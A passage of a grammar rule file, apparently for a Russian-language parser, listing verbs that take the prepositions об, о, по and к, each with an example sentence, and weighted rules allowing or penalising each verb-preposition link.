rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:заговорить{}, // заговорить об оплате rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:попросить{}, // попросить об услуге rus_verbs:объявить{}, // объявить об отставке rus_verbs:предупредить{}, // предупредить об аварии rus_verbs:предупреждать{}, // предупреждать об опасности rus_verbs:твердить{}, // твердить об обязанностях rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:прочитать{}, // он читал об этом в учебнике rus_verbs:узнать{}, // он узнал об этом из фильмов rus_verbs:рассказать{}, // рассказать об экзаменах rus_verbs:рассказывать{}, rus_verbs:договориться{}, // договориться об оплате rus_verbs:договариваться{}, // договариваться об обмене rus_verbs:болтать{}, // Не болтай об этом! rus_verbs:проболтаться{}, // Не проболтайся об этом! rus_verbs:заботиться{}, // кто заботится об урегулировании rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне rus_verbs:помнить{}, // всем советую об этом помнить rus_verbs:мечтать{} // Мечтать об успехе } fact гл_предл { if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } } then return true } fact гл_предл { if context { * предлог:о{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { * предлог:об{} @regex("[a-z]+[0-9]*") } then return true } // остальные глаголы не могут связываться fact гл_предл { if context { * предлог:об{} *:*{ падеж:предл } } then return false, -4 } wordentry_set Гл_ОБ_вин= { rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ) rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ) rus_verbs:опереться{}, // Он опёрся об стену. rus_verbs:опираться{}, rus_verbs:постучать{}, // постучал лбом об пол. rus_verbs:удариться{}, // бутылка глухо ударилась об землю. rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:царапаться{} // Днище лодки царапалось обо что-то. } fact гл_предл { if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:об{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:об{} *:*{} } then return false,-5 } #endregion Предлог_ОБ #region Предлог_О // ------------------- С ПРЕДЛОГОМ 'О' ---------------------- wordentry_set Гл_О_Вин={ rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену. rus_verbs:болтать{}, // Болтали чаще всего о пустяках. rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг. rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол. rus_verbs:бахнуться{}, // Бахнуться головой о стол. rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ) rus_verbs:ВЫТИРАТЬ{}, // rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ) rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ) rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ) rus_verbs:ЛЯЗГАТЬ{}, // rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ) rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ) rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ) rus_verbs:колотиться{}, // сердце его колотилось о ребра rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей. rus_verbs:биться{}, // биться головой о стену? (биться о) rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о) rus_verbs:разбиваться{}, // волны разбивались о скалу rus_verbs:разбивать{}, // Разбивает голову о прутья клетки. rus_verbs:облокотиться{}, // облокотиться о стену rus_verbs:точить{}, // точить о точильный камень rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень rus_verbs:потереться{}, // потереться о дерево rus_verbs:ушибиться{}, // ушибиться о дерево rus_verbs:тереться{}, // тереться о ствол rus_verbs:шмякнуться{}, // шмякнуться о землю rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:тереть{}, // тереть о камень rus_verbs:потереть{}, // потереть о колено rus_verbs:удариться{}, // удариться о край rus_verbs:споткнуться{}, // споткнуться о камень rus_verbs:запнуться{}, // запнуться о камень rus_verbs:запинаться{}, // запинаться о камни rus_verbs:ударяться{}, // ударяться о бортик rus_verbs:стукнуться{}, // стукнуться о бортик rus_verbs:стукаться{}, // стукаться о бортик rus_verbs:опереться{}, // Он опёрся локтями о стол. rus_verbs:плескаться{} // Вода плещется о берег. } fact гл_предл { if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:о{} *:*{ падеж:вин } } then return false,-5 } wordentry_set Гл_О_предл={ rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ) rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ) rus_verbs:РАССПРАШИВАТЬ{}, // rus_verbs:слушать{}, // ты будешь слушать о них? rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ) rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ) rus_verbs:сложить{}, // о вас сложены легенды rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О) rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О) rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О) rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О) rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О) rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О) rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О) rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О) rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О) rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О) rus_verbs:осведомиться{}, // офицер осведомился о цели визита rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о) rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О) rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о) rus_verbs:зайти{}, // Разговор зашёл о политике. rus_verbs:порассказать{}, // порассказать о своих путешествиях инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви деепричастие:спев{}, прилагательное:спевший{ вид:соверш }, прилагательное:спетый{}, rus_verbs:напеть{}, rus_verbs:разговаривать{}, // разговаривать с другом о жизни rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях //rus_verbs:заботиться{}, // заботиться о престарелых родителях rus_verbs:раздумывать{}, // раздумывать о новой работе rus_verbs:договариваться{}, // договариваться о сумме компенсации rus_verbs:молить{}, // молить о пощаде rus_verbs:отзываться{}, // отзываться о книге rus_verbs:подумывать{}, // подумывать о новом подходе rus_verbs:поговаривать{}, // поговаривать о загадочном звере rus_verbs:обмолвиться{}, // обмолвиться о проклятии rus_verbs:условиться{}, // условиться о поддержке rus_verbs:призадуматься{}, // призадуматься о последствиях rus_verbs:известить{}, // известить о поступлении rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:напевать{}, // напевать о любви rus_verbs:помышлять{}, // помышлять о новом деле rus_verbs:переговорить{}, // переговорить о правилах rus_verbs:повествовать{}, // повествовать о событиях rus_verbs:слыхивать{}, // слыхивать о чудище rus_verbs:потолковать{}, // потолковать о планах rus_verbs:проговориться{}, // проговориться о планах rus_verbs:умолчать{}, // умолчать о штрафах rus_verbs:хлопотать{}, // хлопотать о премии rus_verbs:уведомить{}, // уведомить о поступлении rus_verbs:горевать{}, // горевать о потере rus_verbs:запамятовать{}, // запамятовать о важном мероприятии rus_verbs:заикнуться{}, // заикнуться о прибавке rus_verbs:информировать{}, // информировать о событиях rus_verbs:проболтаться{}, // проболтаться о кладе rus_verbs:поразмыслить{}, // поразмыслить о судьбе rus_verbs:заикаться{}, // заикаться о деньгах rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:печься{}, // печься о всеобщем благе rus_verbs:разглагольствовать{}, // разглагольствовать о правах rus_verbs:размечтаться{}, // размечтаться о будущем rus_verbs:лепетать{}, // лепетать о невиновности rus_verbs:грезить{}, // грезить о большой и чистой любви rus_verbs:залепетать{}, // залепетать о сокровищах rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде rus_verbs:протрубить{}, // протрубить о победе rus_verbs:извещать{}, // извещать о поступлении rus_verbs:трубить{}, // трубить о поимке разбойников rus_verbs:осведомляться{}, // осведомляться о судьбе rus_verbs:поразмышлять{}, // поразмышлять о неизбежном rus_verbs:слагать{}, // слагать о подвигах викингов rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании rus_verbs:закидывать{}, // закидывать сообщениями об ошибках rus_verbs:базарить{}, // пацаны базарили о телках rus_verbs:балагурить{}, // мужики балагурили о новом председателе rus_verbs:балакать{}, // мужики балакали о новом председателе rus_verbs:беспокоиться{}, // Она беспокоится о детях rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве rus_verbs:возмечтать{}, // возмечтать о счастливом мире rus_verbs:вопить{}, // Кто-то вопил о несправедливости rus_verbs:сказать{}, // сказать что-то новое о ком-то rus_verbs:знать{}, // знать о ком-то что-то пикантное rus_verbs:подумать{}, // подумать о чём-то rus_verbs:думать{}, // думать о чём-то rus_verbs:узнать{}, // узнать о происшествии rus_verbs:помнить{}, // помнить о задании rus_verbs:просить{}, // просить о коде доступа rus_verbs:забыть{}, // забыть о своих обязанностях rus_verbs:сообщить{}, // сообщить о заложенной мине rus_verbs:заявить{}, // заявить о пропаже rus_verbs:задуматься{}, // задуматься о смерти rus_verbs:спрашивать{}, // спрашивать о поступлении товара rus_verbs:догадаться{}, // догадаться о причинах rus_verbs:договориться{}, // договориться о собеседовании rus_verbs:мечтать{}, // мечтать о сцене rus_verbs:поговорить{}, // поговорить о наболевшем rus_verbs:размышлять{}, // размышлять о насущном rus_verbs:напоминать{}, // напоминать о себе rus_verbs:пожалеть{}, // пожалеть о содеянном rus_verbs:ныть{}, // ныть о прибавке rus_verbs:сообщать{}, // сообщать о победе rus_verbs:догадываться{}, // догадываться о первопричине rus_verbs:поведать{}, // поведать о тайнах rus_verbs:умолять{}, // умолять о пощаде rus_verbs:сожалеть{}, // сожалеть о случившемся rus_verbs:жалеть{}, // жалеть о случившемся rus_verbs:забывать{}, // забывать о случившемся rus_verbs:упоминать{}, // упоминать о предках rus_verbs:позабыть{}, // позабыть о своем обещании rus_verbs:запеть{}, // запеть о любви rus_verbs:скорбеть{}, // скорбеть о усопшем rus_verbs:задумываться{}, // задумываться о смене работы rus_verbs:позаботиться{}, // позаботиться о престарелых родителях rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината rus_verbs:попросить{}, // попросить о замене rus_verbs:предупредить{}, // предупредить о замене rus_verbs:предупреждать{}, // предупреждать о замене rus_verbs:твердить{}, // твердить о замене rus_verbs:заявлять{}, // заявлять о подлоге rus_verbs:петь{}, // певица, поющая о лете rus_verbs:проинформировать{}, // проинформировать о переговорах rus_verbs:порассказывать{}, // порассказывать о событиях rus_verbs:послушать{}, // послушать о новинках rus_verbs:заговорить{}, // заговорить о плате rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой. rus_verbs:оставить{}, // Он оставил о себе печальную память. rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях rus_verbs:спорить{}, // они спорили о законе глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия. глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия. rus_verbs:прочитать{}, // Я прочитал о тебе rus_verbs:услышать{}, // Я услышал о нем rus_verbs:помечтать{}, // Девочки помечтали о принце rus_verbs:слышать{}, // Мальчик слышал о приведениях rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке rus_verbs:грустить{}, // Я грущу о тебе rus_verbs:осведомить{}, // о последних достижениях науки rus_verbs:рассказывать{}, // Антонио рассказывает о работе rus_verbs:говорить{}, // говорим о трех больших псах rus_verbs:идти{} // Вопрос идёт о войне. } fact гл_предл { if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } } then return true } // Мы поделились впечатлениями о выставке. // ^^^^^^^^^^ ^^^^^^^^^^ fact гл_предл { if context { * предлог:о{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:о{} *:*{} } then return false,-5 } #endregion Предлог_О #region Предлог_ПО // ------------------- С ПРЕДЛОГОМ 'ПО' ---------------------- // для этих глаголов - запрещаем связывание с ПО+дат.п. wordentry_set Глаг_ПО_Дат_Запр= { rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:закончить{}, rus_verbs:мочь{}, rus_verbs:хотеть{} } fact гл_предл { if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } } then return false,-10 } // По умолчанию разрешаем связывание в паттернах типа // Я иду по шоссе fact гл_предл { if context { * предлог:по{} *:*{ падеж:дат } } then return true } wordentry_set Глаг_ПО_Вин= { rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ) rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО) rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера rus_verbs:засадить{}, // засадить по рукоятку rus_verbs:увязнуть{} // увязнуть по колено } fact гл_предл { if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:по{} *:*{ падеж:вин } } then return false,-5 } #endregion Предлог_ПО #region Предлог_К // ------------------- С ПРЕДЛОГОМ 'К' ---------------------- wordentry_set Гл_К_Дат={ rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна. rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску. прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ) rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ) rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ) rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ) rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ) rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ) rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ) rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ) rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ) rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, // rus_verbs:ПРИНОРОВИТЬСЯ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ) rus_verbs:СПИКИРОВАТЬ{}, // rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С) rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ) rus_verbs:ПРОТЯНУТЬ{}, // rus_verbs:ТЯНУТЬ{}, // rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ) rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,, rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, // rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, // rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ) rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке. rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ) rus_verbs:хотеть{}, rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ) rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ) rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ) rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ) rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ) rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ) rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ) rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ) rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ) rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ) rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ) rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К) rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К) rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К) rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К) rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К) прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К) безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К) rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К) rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К) rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К) rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К) rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К) rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К) rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К) rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К) rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К) rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К) rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К) rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К) rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К) rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К) rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К) rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К) rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К) rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К) rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К) rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К) rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К) rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К) rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К) глагол:быть{}, // к тебе есть вопросы. прилагательное:равнодушный{}, // Он равнодушен к музыке. rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К) rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К) инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К) rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К) rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к) rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К) rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К) rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К) rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К) rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К) rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К) rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К) rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к) rus_verbs:просить{}, // Директор просит вас к себе. (просить к) rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к) rus_verbs:присесть{}, // старик присел к огню. (присесть к) rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К) rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к) rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к) rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К) rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К) rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К) rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К) rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к) rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К) rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К) rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К) rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К) rus_verbs:подходить{}, // цвет подходил ей к лицу. rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К) rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К) rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К) rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К) rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К) rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К) rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к) rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К) rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К) rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к) rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к) rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К) rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К) rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К) rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К) rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к) rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к) rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к) rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К) rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к) rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к) rus_verbs:требовать{}, // вас требует к себе император. (требовать к) rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к) rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к) rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К) rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К) rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к) rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К) rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К) rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к) rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к) rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к) rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К) rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к) rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к) rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к) rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К) rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К) rus_verbs:выехать{}, // почти сразу мы выехали к реке. rus_verbs:пододвигаться{}, // пододвигайся к окну rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам. rus_verbs:представить{}, // Его представили к ордену. rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу. rus_verbs:выскочить{}, // тем временем они выскочили к реке. rus_verbs:выйти{}, // тем временем они вышли к лестнице. rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе. rus_verbs:приложить{}, // приложить к детали повышенное усилие rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку) rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:привязать{}, // привязать 